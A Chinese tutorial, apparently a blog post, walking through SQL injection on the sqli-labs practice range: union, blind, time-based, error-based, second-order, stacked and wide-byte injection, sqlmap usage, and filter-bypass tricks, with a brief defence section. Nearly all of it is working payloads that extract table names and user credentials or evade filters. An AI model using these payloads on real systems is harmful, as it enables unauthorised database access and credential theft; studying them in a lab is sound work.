个人觉还是很详细,对你一定帮助。也是我自己花了不少时间总结的。可以通过sqli_labs靶场练习一下。下面是靶场所有关卡的讲解。有兴趣可以看看
详细sqli-labs(1-65)通关讲解_糊涂是福yyyy的博客-CSDN博客_sqlilabs通关
目录
1.SQL注入原理
2.SQL注入过程
3.SQL注入点判断
4.SQL注入分类
4.1联合注入(sqli-labs第二关)
4.1.1 注入点判断
4.1.2 判断列数
4.1.3 爆出显示位
4.1.4 爆数据库,版本
4.1.5 爆表
4.1.6 爆列
4.1.7 爆账户密码
4.2布尔盲注(sqli-labs第五关)
4.2.1 注入点判断
4.2.2 爆数据库
4.2.3 爆表
4.2.4 爆列
4.2.5 爆账户密码
4.3延时注入(sqli-labs第九关)
4.3.1 注入点判断
4.3.2 爆数据库
4.3.3 爆表
4.3.4 爆列
4.3.5 爆密码账户
4.4报错注入(sqli-labs四十六关)
4.4.1 updatexml报错注入
4.4.2 extractvalue报错注入
4.4.3 group by报错注入
4.5.二次注入
5.SQLmap使用
5.1 get方式注入
5.2 post方式注入
5.3 Tamper脚本注入
5.4 指定sql语句注入
5.5 指定参数注入
6.SQL注入过滤与绕过
6.1 关键词过滤
6.2 空格过滤
6.3 逻辑运算符过滤
6.4 注释符过滤
6.5 引号过滤
6.6 逗号过滤
6.8 函数过滤
6.9 大于小于等于
6.10 http参数污染绕过
7. SQL注入防御
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
1.?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。
SELECT * FROM users WHERE id=1 and 1=2
2.?id=1' and 1=1--+/#和?id=1' and 1=2--+/#进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。
SELECT * FROM users WHERE id='1' and 1=2-- '
3.?id=1'and 1=1 and '1'='1和?id=1'and 1=1 and '1'='1进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。
SELECT * FROM users WHERE id='1' and 1=2 and '1'='1'
4.?id=1%' and 1=1 and '%'='%和?id=1%' and 1=2 and '%'='%进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为搜索型注入。
SELECT * from table where users like '%1 %' and '1'='1' and '%'='%'
5.?id=1%' and 1=1--+/#和?id=1%' and 1=2--+/#进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为搜索型注入。
根据参数类型:字符型,数字型、搜索型
根据提交方式:POST注入,GET注入,HTTP HEAD注入
根据有无回显:联合注入,报错注入,布尔盲注,延时注入
其他注入:堆叠注入,宽字节注入,二次注入等
当页面有数据显示。
?id=1 and 1=1
?id =1 and 1=2
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
当页面数据显示很少,有报错页面和正确页面进行对比。
?id=1' and 1=2--+
?id=1' and 1=1--+
?id=1'and length((select database()))>9--+
?id=1'and ascii(substr((select database()),1,1))=115--+
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
?id=1' and length((select group_concat(username,password) from users))>109--+
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
如果页面始终只有一个,我们可以使用延时注入,通过反应时间来判断。
?id=1' and if(1=1,sleep(5),1)--+
?id=1' and if(length((select database()))>9,sleep(5),1)--+
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
当页面显示数据很少,但是存在报错信息。
UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
当我们XPath_string语法报错时候就会报错
4.4.1.1 爆数据库和版本
123' and (updatexml(1,concat(0x5c,version(),0x5c),1))--+
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))--+
4.4.1.2 爆表
123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))--+
4.4.1.3 爆列
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))--+
4.4.1.4 爆账户与密码
123' and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))--+
123' and (updatexml(1,concat(0x5c,(select username from users limit 0,1),0x5c),1))--+
123' and (updatexml(1,concat(0x5c,(select password from users where username='Dumb' limit 0,1),0x5c),1))--+
extractvalue(XML_document,XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
作用:从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错
4.4.2.1 爆数据库和版本
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))--+
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))--+
4.4.2.2 爆表
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))--+
4.4.2.3 爆列
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))--+
4.4.1.4 爆账户与密码
1' and (extractvalue(1,concat(0x5c,(select group_concat(password,username) from users) ,0x5c)))--+
1' and (extractvalue(1,concat(0x5c,(select username from users limit 0,1) ,0x5c)))--+
1' and (extractvalue(1,concat(0x5c,(select password from users where username='Dumb' limit 0,1) ,0x5c)))--+
主要是由于floor(rand(0)*2)生成的是为随机数011011。在进行统计时候由于在插入表格会被再次执行一次会导致健的重复。从而导致报错。
4.4.3.1 爆数据库和版本
123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))--+
123' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2))) --+
4.4.3.2 爆表
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2))) --+
4.4.3.3 爆列
1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2))) --+
4.4.3.4 爆账户与密码
1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select username from users limit 0,1),0x7e,floor(rand(0)*2))) --+
1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1' limit 0,1),0x7e,floor(rand(0)*2))) --+
二次注入是因为对于存储到数据的数据没有经过过滤验证,且从数据库提取数据时候也没有进行过滤验证。
看一个列子
首先我们看到管理员账户,admin,密码是1,但是通常情况下我们是不知道密码的,只能猜测管理员账户的admin
我们可以注册一个账号名叫admin'#。可以看到我们成功将有污染的数据写入数据库。单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。
之后可以使用用户名admin'#和密码是123456登录,进入修改密码页面。原始密码输入123456,新密码我输入的是111111,可以看到密码修改成功。
当我们数据库查看的时候发现修改的是管理员的密码。而不是我们的注册账户的密码。
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
堆叠注入要求可以支持多条sql语句同时执行,其他sql注入只能查询数据,堆叠注入可以进行增删改查。
以mysql数据库为例,如果使用mysqli_multi_query函数,该函数支持多条sql语句同时进行。
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
当某字符的大小为一个字节时,称其字符为窄字节。当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。
数据库使用一些转义函数,在引号前面自动加上\。由于数据库采用GBK编码, \的url编码是%5c,所以会认为 %df%5c 是一个宽字符,也就是縗。
1.爆数据库
?id=-1%df%27 union select 1,database(),3 --+
2.爆表
?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
3.爆列
?id=-1%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+
4.爆账户与密码
?id=-1%df%27 union select 1,group_concat(password,username),3 from users--+
SqlMap 是一款强大的开源渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。自带字典 功能强大 界面优化友好 多平台运行它配备了一个强大的探测引擎,为最终渗透测试人员提供很多猥琐的功能可以access,mysql,mssql等数据库的 注入 拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1"
探测数据库
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" --dbs
探测当前数据库
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" --current-db
探测表名
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" -D security -T users
探测字段名
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" -D security -T users -columns
探测字段值
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" -D security -T users -C password,username –dump
sqlmap -u "http://192.168.116.128/sqli-labs/Less-11/" --data="uname=1&passwd=2&submit=Submit"
可以抓取http数据包保存为post.txt文件,执行sqlmap -r post.txt
在usr/share/sqlmap/tamper目录下有各种脚本文件。Sqlmap可以指定脚本进行过滤。可自定义脚本。
sqlmap -u "http://192.168.116.128/sqli-labs/Less-28/?id=1" --tamper="sqli-labs-28.py" –dbs
sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" --sql-shell
--level: 设置测试的等级,一共有5级。
1:默认
2:检测cookie
3:检测user-agent
4:检测refere
5:检测host
sqlmap -u "http://192.168.116.128/sqli-labs/Less-20/" --cookie "uname=admin" --level 2
sqlmap -r cookie.txt -p cookie --level 2 --dbs
具体命令可以参考sqlmap参数大全|sqlmap命令详解 - 知乎
大小写绕过,双写绕过,编码绕过。例如ununionion,selselectect,uniunion selecton select,UnIon,SelECT
使用括号代替空格(报错注入),使用两个空格,使用Tab代替空格,使用回车,使用%0a 使用/**/代替空格
or使用||代替,and使用&&代替 ,xor使用|代替,not使用!代替
使用And '1'='1, %23
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1(sqli-labs27-a关)
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0(sqli-labs26关)
使用十六进制,宽字节
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273--+(sqli-labs32关)
在使用盲注的时候,需要使用到substr(),mid(),limit,这些子句方法都需要使用到逗号
1.对于substr、substring()和mid()方法可以使用from的方式来解决
?id=1'and ascii(substr((select database()),1,1))=115--+
?id=1'and ascii(substr((select database())from 1 for 1))=115--+
2.使用join
union select 1,2 可以使用下面的句子代替
union select * from (select 1)a join (select 2)b
?id=-1' union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C)--+
4.limit中,使用offset绕过
limit 1offset0
6.7 等于号绕过
1.使用like
2.使用!<>,因为<>是不等于
3.regrep (正则表达匹配)
4.between a and b :范围在a-b之间 (也可用于 = 绕过:id between 1 and 1 与 id = 1 效果相同)
?id=1'and length((select database()))=8--+
?id=1'and length((select database())) like 8--+
?id=1'and length((select database())) regexp 8--+
?id=1'and !(length((select database()))<>8)--+
?id=1'and length((select database())) between 8 and 8--+
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
1.greates(n1,n2,n3,...): 返回n中的最大值
?id=1'and greates(ascii(substr((select database()),1,1)),114)=115--+
2.least(n1,n2,n3,...): 返回n中的最小值
3.strcmp(str1,str2): 若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个参数,则返回-1,其他情况返回1
4.in 关键字,str1 in str2 字符串1是否在字符串2中
函数检查的时候只检查第一个参数,但是$id=$_GET['id']取的是最后一个id,所以我们只需要把payload放在后面的id就好。
?id=1&id=-2%27 union select 1,group_concat(column_name),3 from%20information_schema.columns where table_schema=database() and table_name='users'--+(sqli-labs29关)
1.采用预编译
2.采用正则表达式过滤转义输入的参数